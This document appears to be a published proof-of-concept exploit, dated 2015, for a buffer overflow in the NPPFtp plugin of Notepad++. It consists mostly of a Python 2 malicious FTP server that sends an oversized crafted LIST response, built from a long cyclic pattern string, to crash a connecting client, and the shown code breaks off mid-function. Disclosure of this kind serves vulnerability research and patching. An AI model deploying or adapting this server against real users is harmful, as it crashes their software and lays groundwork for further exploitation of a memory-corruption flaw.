# Title : Notepad ++ NPPFtp Plugin Buffer Overflow
# Date : 19/12/2015
# Author : R-73eN
# Tested on : NPPFtp 0.26.3 (Latest Version)
# Software : http://sourceforge.net/projects/nppftp/
# Vendor : https://notepad-plus-plus.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
# A buffer overflow exists in the NPPftp plugin. When the plugin is connected to a malicious server
# which server a crafted LIST response causes the application to crash.
#
# How to reproduce
#
# 1. Start this python server
# 2. Open Notepad ++ , go to plugins , NPPFtp, Show windows
# 3. Click on the gear button to create a new connection.
# 4. Create the connection to connect to the server.
# 5. Connect and the application will crash.

import os,socket,threading,time
allow_delete = False
local_ip = "192.168.1.121"#socket.gethostbyname(socket.gethostname())
local_port = 21
currdir=os.path.abspath('.')

buff = "rwxrwxrwx   1 1 00" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"


class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')

    def SYST(self,cmd):
        self.conn.send('215 UNIX Type: L8\r\n')
    def OPTS(self,cmd):
        if cmd[5:-2].upper()=='UTF8 ON':
            self.conn.send('200 OK.\r\n')
        else:
            self.conn.send('451 Sorry.\r\n')
    def USER(self,cmd):
        self.conn.send('331 OK.\r\n')
    def PASS(self,cmd):
        self.conn.send('230 OK.\r\n')
        #self.conn.send('530 Incorrect.\r\n')
    def QUIT(self,cmd):
        self.conn.send('221 Goodbye.\r\n')
    def NOOP(self,cmd):
        self.conn.send('200 OK.\r\n')
    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')

    def CDUP(self,cmd):
        if not os.path.samefile(self.cwd,self.basewd):
            #learn from stackoverflow
            self.cwd=os.path.abspath(os.path.join(self.cwd,'..'))
        self.conn.send('200 OK.\r\n')
    def PWD(self,cmd):
        cwd=os.path.relpath(self.cwd,self.basewd)
        if cwd=='.':
            cwd='/'
        else:
            cwd='/'+cwd
        self.conn.send('257 \"%s\"\r\n' % cwd)
    def CWD(self,cmd):
        chwd=cmd[4:-2]
        if chwd=='/':
            self.cwd=self.basewd
        elif chwd[0]=='/':
            self.cwd=os.path.join(self.basewd,chwd[1:])
        else:
            self.cwd=os.path.join(self.cwd,chwd)
        self.conn.send('250 OK.\r\n')

    def PORT(self,cmd):
        if self.pasv_mode:
            self.servsock.close()
            self.pasv_mode = False
        l=cmd[5:].split(',')
        self.dataAddr='.'.join(l[:4])
        self.dataPort=(int(l[4])<<8)+int(l[5])
        self.conn.send('200 Get port.\r\n')

    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))

    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))

    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()


    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        self.start_datasock()
        for t in os.listdir(self.cwd):
            k=self.toListItem(os.path.join(self.cwd,t))
            self.datasock.send(buff + buff + buff + '\r\n')
            print "[+] Crafted packet sent . . . [+]"            
            #self.datasock.send(buff + buff + '\r\n')
        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')

    def toListItem(self,fn):
        st=os.stat(fn)
